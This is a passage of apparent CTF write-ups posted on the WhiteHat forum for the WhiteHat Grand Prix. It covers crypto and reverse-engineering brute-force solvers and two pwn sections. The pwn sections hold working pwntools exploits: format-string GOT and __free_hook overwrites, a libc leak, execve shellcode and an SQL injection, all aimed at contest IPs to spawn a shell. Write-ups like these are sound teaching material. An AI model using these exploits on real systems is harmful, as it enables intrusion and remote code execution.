            curr_block = enc[j:j+4]
            curr_dec = None
            try:
                curr_dec = b64decode(xor(curr_block, ''.join(map(chr, comb))))
            except TypeError:
                corr = False

            if corr == False:
                break

            corr_2 = True
            for c in curr_dec:
                if c not in charset2:
                    corr_2 = False
                    break
            if j == 0 and curr_dec[:2] != '{"':
                corr_2 = False
            if j == 92 and curr_dec[-2:] != '"}':
                corr_2 = False
            if not corr_2:
                corr = False
                break
        if corr:
            curr_opts.append(comb)
    print len(curr_opts)
    opts.append(curr_opts)
    print ""

total_ways = 1
for i in range(4):
    total_ways *= len(opts[i])
print "Total: ", total_ways

for key_comb in itertools.product(*opts):
    test_key = []
    for i in range(4):
        test_key += list(key_comb[i])
    dec_b64 = xor(enc, ''.join(map(chr, test_key)))
    dec = b64decode(dec_b64)
    if '"answer=' in dec:
        try:
            json.loads(dec)
            print repr(dec)
        except ValueError:
            pass

#  Right! Here is your flag: w0rk_sm4ter_n0t_h4rd3r_!@&#^!!!
# 55b6569df49d7f82ff66c1cad0d03c97bd3da30d
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
crypto03 | Team: perfect blue

We are given a python implementation of some unknown cipher, ciphertext 3de950493ad1c29b5f9ae4ac5587c88ff8a6e18bbd642f2d84ce, key this_is_whitehat, nonce do_not_roll_your_own_crypto and a "salt" once_upon_a_time.

Cipher initialization generates four 5-bit numbers a, b, c, d and uses them along with the key, nonce and salt to initialize self.rotor, an array of five 64-bit words. Details of this do not matter.

During encryption self.rotor is used like a duplex sponge:

Mã:
# pseudocode
def encrypt(plaintext):
    ciphertext = []
    for block in plaintext:
        rotor[0] ^= block
        ciphertext.append(rotor[0])
        permute(rotor, c)

Where permute is the unkeyed permutation from Ascon.

Solution
All we have to do is guess the value of a, b, c, d and reverse encrypt():

Mã:
# pseudocode
def decrypt(ciphertext):
    plaintext = []
    for block in ciphertext:
        block ^= rotor[0]
        rotor[0] ^= block
        plaintext.append(block)
        permute(rotor, c)

def guess():
    for abcd in generate_all_abcd():
        c = Cipher(key, nonce, salt, abcd)
        plaintext = c.decrypt(ciphertext)
        if all_ascii(plaintext):
            print(plaintext)

For full solution see oracle2.py. Run it with pypy for faster execution.

oracle2.py

Mã:
import random
import copy
import itertools

RATE = 8
MASK = (1<<64)-1


class TheOracle:
    """
    This class is used for encryption
    """

    def __init__(self, key_bytes, nonce_bytes, a, b, c, d):
        self.key = key_bytes[:0x10] if len(key_bytes) > 0x10 else key_bytes + b'\x00' * (0x10 - len(key_bytes))
        self.nonce = nonce_bytes[:0x10] if len(nonce_bytes) > 0x10 else nonce_bytes + b'\x00' * (
            0x10 - len(nonce_bytes))
        self.rotor = list()
        # a - init; b - salt; c - encode/decode; d - tag
        #self.a, self.b, self.c, self.d = [random.randint(0, (1 << 5)) for i in range(4)]
        self.a, self.b, self.c, self.d = a, b, c, d
        self.init_rotor()

    def init_rotor(self): # like Ascon
        """
        Initialize the rotor
        :return:
        """
        key_nonce = self.key + self.nonce
        temp = [self.a, self.b, self.c, self.d]

        for j in range(0, 32, 8):
            self.rotor += [sum([key_nonce[j: j + 8][i] << ((7 - i) * 8) for i in range(8)])]
        self.rotor = [sum([temp[i] << ((7 - i) * 8) for i in range(len(temp))])] + self.rotor

        self.rotor = self.black_box(self.rotor, self.a)

        for i in range(2):
            self.rotor[3 + i] ^= sum([self.key[i * 8: i * 8 + 8][j] << ((7 - j) * 8) for j in range(8)])

    def black_box(self, rotor, loop):
        for r in range(loop % 16):
            rotor[4] ^= rotor[3] # just like ascon
            rotor[0] ^= rotor[3] ^ rotor[4]
            rotor[2] ^= rotor[1] ^ (0xf0 - r * 0x0f)

            t = [(rotor[i] ^ ((1 << 64) - 1)) & rotor[(i + 1) % 5] for i in range(5)]
            rotor = [rotor[i] ^ t[(i + 1) % 5] for i in range(5)] # just like ascon

            rotor[0] ^= rotor[4]
            rotor[3] ^= rotor[2]
            rotor[1] ^= rotor[4] ^ rotor[0]
            rotor[2] ^= ((1 << 64) - 1) # just like ascon

            # like in ascon
            rotor[0] ^= (((rotor[0] >> 0x13) | (rotor[0] << (64 - 0x13))) & ((1 << 64) - 1)) ^ (((rotor[0] >> 0x1c) ^ (rotor[0] << (64 - 0x1c))) % (1 << 64))
            rotor[1] ^= (((rotor[1] >> 0x3d) | (rotor[1] << (64 - 0x3d))) & ((1 << 64) - 1)) ^ (((rotor[1] >> 0x27) ^ (rotor[1] << (64 - 0x27))) % (1 << 64))
            rotor[2] ^= (((rotor[2] >> 0x01) | (rotor[2] << (64 - 0x01))) & ((1 << 64) - 1)) ^ (((rotor[2] >> 0x06) ^ (rotor[2] << (64 - 0x06))) % (1 << 64))
            rotor[3] ^= (((rotor[3] >> 0x0A) | (rotor[3] << (64 - 0x0A))) & ((1 << 64) - 1)) ^ (((rotor[3] >> 0x11) ^ (rotor[3] << (64 - 0x11))) % (1 << 64))
            rotor[4] ^= (((rotor[4] >> 0x07) | (rotor[4] << (64 - 0x07))) & ((1 << 64) - 1)) ^ (((rotor[4] >> 0x29) ^ (rotor[4] << (64 - 0x29))) % (1 << 64))

        return rotor

    def handle_salt(self, salt, the_hidden, rotor, the_rate):
        padding = bytes([0x80]) + bytes(the_rate - (len(salt) % the_rate) - 1)
        result = salt + padding

        for b in range(0, len(result), the_rate):
            # what fucking retard wrote this?
            rotor[0] ^= sum([result[b: b + the_rate][j] << ((the_rate - 1 - j) * the_rate) for j in range(the_rate)])
            self.black_box(rotor, the_hidden)

        return rotor

    def encrypt(self, salt=None, plain_text=None):
        """
        Encrypt a plaintext
        :param salt:
        :param plain_text:
        :return: cipher text
        """
        temp = copy.copy(self.rotor)
        if salt is not None:
            temp = self.handle_salt(salt, self.b, temp, RATE)
        temp[4] = temp[4] - 1 if temp[4] & 1 else temp[4] + 1

        padding = bytes([0x80]) + bytes(RATE - (len(plain_text) % RATE) - 1)
        result = plain_text + padding

        cipher_text = b''
        for b in range(0, len(result) - RATE, RATE):
            temp[0] ^= sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
            cipher_text += bytes([(temp[0] >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)])

            self.black_box(temp, self.c)

        the_last_mess = len(result) - RATE
        temp[0] ^= sum([result[the_last_mess: the_last_mess + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
        cipher_text += bytes([(temp[0] >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)][:-len(padding)])

        return cipher_text.hex()

    def decrypt(self, salt=None, plain_text=None):
        temp = copy.copy(self.rotor)
        if salt is not None:
            temp = self.handle_salt(salt, self.b, temp, RATE)
        temp[4] = temp[4] - 1 if temp[4] & 1 else temp[4] + 1

        padding = bytes([0x80]) + bytes(RATE - (len(plain_text) % RATE) - 1)
        result = plain_text + padding

        cipher_text = b''
        for b in range(0, len(result) - RATE, RATE):
            w = sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
            w ^= temp[0]
            temp[0] ^= w
            #temp[0] ^= sum([result[b: b + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
            cipher_text += bytes([(w >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)])

            self.black_box(temp, self.c)

        the_last_mess = len(result) - RATE
        w = sum([result[the_last_mess: the_last_mess + RATE][j] << ((RATE - 1 - j) * RATE) for j in range(RATE)])
        w ^= temp[0]
        temp[0] ^= w
        cipher_text += bytes([(w >> ((RATE - 1 - i) * RATE)) & 0xff for i in range(RATE)][:-len(padding)])

        return cipher_text


CTEXT = bytes.fromhex('3de950493ad1c29b5f9ae4ac5587c88ff8a6e18bbd642f2d84ce')
if __name__ == "__main__":
    old = None
    for params in itertools.product(range(32), repeat=4):
        if params[0] != old:
            old = params[0]
            print(old)
        server = TheOracle(b'this_is_whitehat', b'do_not_roll_your_own_crypto', *params)
        salt_bytes = b'once_upon_a_time'
        #plain = open('flag').read().encode()
        #cipher = server.encrypt(salt_bytes, plain)
        plain = server.decrypt(salt_bytes, CTEXT)
        k = 0
        for x in plain:
            if x&0x80:
                k += 1
        if k == 0:
            print(plain)

 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
pwn01 | Team: Order of the Grey Fang

exploit.py

Mã:
from pwn import *
from struct import *

nops = b'\x90'
padding = b'\x00'


clean = lambda x:  x.split('\n')[1:-2]
pad = lambda x:  x + padding*(8-len(x))


elf = ELF('./loop')
context.binary = './loop'
libc = ELF('./libc.so.6')
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.30.so")

main_addr = 0x400805
shellcode_addr = 0x4007b8

def exec_fmt(payload):
    p = elf.process()
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

def first_stage(r):
    r.readline()
    r.clean()
    payload_return2main = fmtstr_payload(offset, {elf.got['puts']:main_addr})
    r.sendline(payload_return2main)
    r.readline()
    r.clean()

def leak_libc(r):
    payload_leakfgets = b'%13$s   ' + p64(elf.got['fgets']) + b'\x00'
    r.sendline(payload_leakfgets)
    result = r.readline()
    fgets_leak = u64(pad(result[6:12]))
    print("fgets Leaked address: ", hex(fgets_leak))
    r.clean()
    libc_base = fgets_leak - libc.sym.fgets
    # This address must be 0x1000 aligned, if not, its Probably wrong!
    print("libc base: ", hex(libc_base))
    assert (libc_base & 0x0000000000000fff) == 0, "ALERT! Program is probably using different libc than specified!"
    return libc_base

shellcode_asm = 'xor rax, rax; xor rdx,rdx; xor rsi,rsi; mov rbx,0x68732f2f6e69622f; push rbx; push rsp; pop rdi; mov rax, 59; syscall; nop'
shellcode = asm(shellcode_asm)  # 32 byte shellcode

def exploit(local=False, one_gadget = 0xf02a4):
    if local is False:
        r = remote('15.165.78.226', 2311)
    else:
        r = elf.process()
        gdb.attach(r.pid, """c""")
    first_stage(r)
    libc_base = leak_libc(r)
    print('libc leaked!')
    gad = libc_base + one_gadget
    payload_one_gadget = fmtstr_payload(offset, {elf.got['printf']:gad}, write_size='short')
    r.sendline(payload_one_gadget)
    print(r.clean())
    return r

a = exploit(False, 0xf02a4)
a.interactive()
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
pwn02 | Team: perfect blue

This challenge is just a basic SQLi to fake the number of points, followed by a standard fsb to modify the __free_hook pointer to point to system, ending with creating a book with /bin/sh and then sell that book, issuing a call to free.

Exploit:
Mã:
from pwn import *

#p = process('./bookstore')
p = remote('13.124.117.126', 31337)
libc = ELF('libc.so.6')

def choice(ch):
    p.recvuntil('Choice: ')
    p.sendline(str(ch))

def login(ch, user, pwd):
    choice(ch)
    p.recvuntil('Username: ')
    p.sendline(user)
    p.recvuntil('Password:')
    p.sendline(pwd)

login(1, "john', 'doe', 2000000000) --", 'lol')
login(2, 'john', 'doe')

choice(3)

def format(msg):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('address:')
    p.sendline(msg)

format("[[[%p]")
p.recvuntil('[[[0x')
libc_base = int(p.recvuntil(']', drop=True), 16) - 0x3ec7e3
print(hex(libc_base))

start = 8 + 10
pad = 10 * 8

fmt = ''
addrs = []
written = 0

def write_at(addr, val):
    global written, addrs, fmt
    assert 0 <= val <= 0xffff
    addrs.append(addr)
    fmt += '%{}c%{}$hn'.format((val - written) & 0xffff, start + len(addrs) - 1)
    written = val

libc_system = libc_base + libc.symbols.system
libc_freehook = libc_base + libc.symbols['__free_hook']
write_at(libc_freehook, libc_system & 0xffff)
write_at(libc_freehook + 2, (libc_system >> 16) & 0xffff)
write_at(libc_freehook + 4, (libc_system >> 32) & 0xffff)

fmt = fmt.ljust(pad)
assert len(fmt) == pad
fmt += ''.join(map(p64, addrs))
assert(len(fmt) < 256)

print(hex(libc_freehook))
format(fmt)

p.recvuntil('>>')
p.sendline('3')

choice(4)
p.sendlineafter('Name:', '/bin/sh')
p.sendlineafter('Author:', '/bin/sh')
p.sendlineafter('Content:', '/bin/sh')

choice(3)
p.sendlineafter('>>', '1')
p.sendlineafter('sell:', '0')

p.interactive()
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
re01 | Team: perfect blue

We are given a 32-bit windows binary, whitehat.exe. On reversing the binary, this is what we find:

It opens a file data and reads it in 15 chunks of 4096 bytes each. Depending on the 0th byte of each chunk, it swaps around the chunks. Then, it does some checks on the the data using the 10th byte of each chunk. Then, it hashes the modified data using a custom hash function, SHF, and compares the hash to a known value. If all these checks pass, it hashes the original data file, and prints it as the flag. It then, stomps over the 10-th byte and modifies it with some other values, before saving the file to output.png.

So, since all but 15-bytes of the original data have been modified, we can use the checks to bruteforce the correct values for these, to get the original data.

From the binary, we can extract the important checks:
Mã:
  if ( (*data)[10] != 7 || data[13][10] != 12 )
    return 1;
  for ( l = 1; l <= 6; ++l )
  {
    v28 = data[l][10] - 52;
    if ( v28 > 9u )
      return 1;
  }
  for ( m = 7; m <= 11; ++m )
  {
    v28 = data[m][10] - 77;
    if ( v28 > 9u )
      return 1;
  }
  if ( data[12][10] - 34 > 9 )
    return 1;
  v4 = pow((long double)data[1][10], 3.0);
  v5 = pow((long double)data[2][10], 3.0) + v4;
  v28 = (signed int)(pow((long double)data[3][10], 3.0) + v5);
  if ( v28 != 98 )
    return 1;
  v6 = pow((long double)data[4][10], 3.0);
  v7 = pow((long double)data[5][10], 3.0) + v6;
  v8 = pow((long double)data[6][10], 3.0) + v7;
  v28 = (signed int)(pow((long double)data[7][10], 3.0) + v8);
  if ( v28 != 107 )
    return 1;
  v9 = pow((long double)data[9][10], 3.0);
  v10 = pow((long double)data[10][10], 3.0) + v9;
  v11 = pow((long double)data[11][10], 3.0) + v10;
  v28 = (signed int)(pow((long double)data[12][10], 3.0) + v11);
  if ( v28 != 191 )
    return 1;
Since the value of the 0-th and 13-th character are fixed, we can write a bruteforce script to find out the possible values for the remaining characters which satisfy all the checks.

Mã:
opts1 = []
for i in range(52, 61+1):
    for j in range(52, 61+1):
        for k in range(52, 61+1):
            if((k*k*k + i*i*i + j*j*j) % 256 == 98):
                opts1.append([i, j, k])

opts2 = []
for i in range(52, 61+1):
    for j in range(52, 61+1):
        for k in range(52, 61+1):
            for l in range(77, 86+1):
                if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 107):
                    opts2.append([i, j, k, l])

opts3 = []
for i in range(77, 86+1):
    for j in range(77, 86+1):
        for k in range(77, 86+1):
            for l in range(34, 43+1):
                if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 191):
                    opts3.append([i, j, k, l])

print len(opts1)
print len(opts2)
print len(opts3)

The number of possible options are 3 18 42 along with the 8th character which has 10 possible values, which means we have a total of 22680 combinations which is easily bruteforceable.

We can write a python script that tries all possible values, and checks if the hash is correct according the binary: solve3.py.

solve3.py

Mã:
from pwn import *

data = open("output.png", "rb").read()

shits = []
for i in range(0, len(data), 0x1000):
    shits.append(map(ord, list(data[i:i+0x1000])))


opts1 = []
for i in range(52, 61+1):
    for j in range(52, 61+1):
        for k in range(52, 61+1):
            if((k*k*k + i*i*i + j*j*j) % 256 == 98):
                opts1.append([i, j, k])

opts2 = []
for i in range(52, 61+1):
    for j in range(52, 61+1):
        for k in range(52, 61+1):
            for l in range(77, 86+1):
                if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 107):
                    opts2.append([i, j, k, l])

opts3 = []
for i in range(77, 86+1):
    for j in range(77, 86+1):
        for k in range(77, 86+1):
            for l in range(34, 43+1):
                if((k*k*k + i*i*i + j*j*j + l*l*l) % 256 == 191):
                    opts3.append([i, j, k, l])

print len(opts1)
print len(opts2)
print len(opts3)


total_len = sum(map(len, shits))
print hex(total_len)

def SHF(sice, curr_len):
    v4 = 0x2FD2B4
    for i in range(curr_len):
        v4 ^= sice[i]
        v4 *= 0x66EC73
        v4 %= 2**64
    return v4

cnt = 0
curr = []
for i in range(15):
    curr.append(shits[i][:])

for opt1 in opts1:
    for opt2 in opts2:
        for opt3 in opts3:
            for fuck_8 in range(77, 86+1):
                ans = []
                ans += [7]
                ans += opt1
                ans += opt2
                ans += [fuck_8]
                ans += opt3
                ans += [12]
                cnt += 1
                if cnt % 100 == 0:
                    print cnt
                for i in range(14):
                    curr[i][10] = ans[i]
                v27 = [curr[i/4096][i % 4096] for i in range(total_len)]
                v12 = SHF(v27, total_len)
                v4 = []
                v4.append((v12 - 125) % 256)
                v4.append((((v12 >> 8) & 0xff) + 124) % 256)
                v4 += map(ord, p16((((v12 >> 16) & 0xffff) - 0x5100 + 0x10000) % 0x10000))
                v4 = ''.join(map(chr, v4))
                if v4 == "Flag":
                    print ans
                    print "SICE"

print cnt


On running the program, we get the valid array: [7, 54, 61, 61, 59, 56, 58, 80, 83, 79, 85, 83, 38, 12].

Using this array, we can generate the original data value by replacing the value of the 10th byte in each block and reversing the swaps:

get_flag.py

Mã:
def SHF(sice, curr_len):
    v4 = 0x2FD2B4
    for i in range(curr_len):
        v4 ^= sice[i]
        v4 *= 0x66EC73
        v4 %= 2**64
    return v4

data = open("output.png", "rb").read()

shits = []
for i in range(0, len(data), 0x1000):
    shits.append(map(ord, list(data[i:i+0x1000])))

cnt = 0
curr = []
for i in range(15):
    curr.append(shits[i][:])

total_len = sum(map(len, shits))
print hex(total_len)

deet = [7, 54, 61, 61, 59, 56, 58, 80, 83, 79, 85, 83, 38, 12]

for i in range(14):
    curr[i][10] = deet[i]

for i in range(7):
    if (curr[2*i][0] + curr[2*i+1][0]) % 2 == 0:
        curr[2*i], curr[2*i+1] = curr[2*i+1], curr[2*i]

haxxor = []

f = open('data', 'wb')
for i in range(len(curr)):
    haxxor += curr[i]
    f.write(''.join(map(chr, curr[i])))
f.close()

print SHF(haxxor, total_len)

On running the program with the valid data file, we get the flag:

$ ./whitehat.exe
Press any key to continue . . .

Flag = WhiteHat{8333769562446613979}
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
whitehat grand prix
Bên trên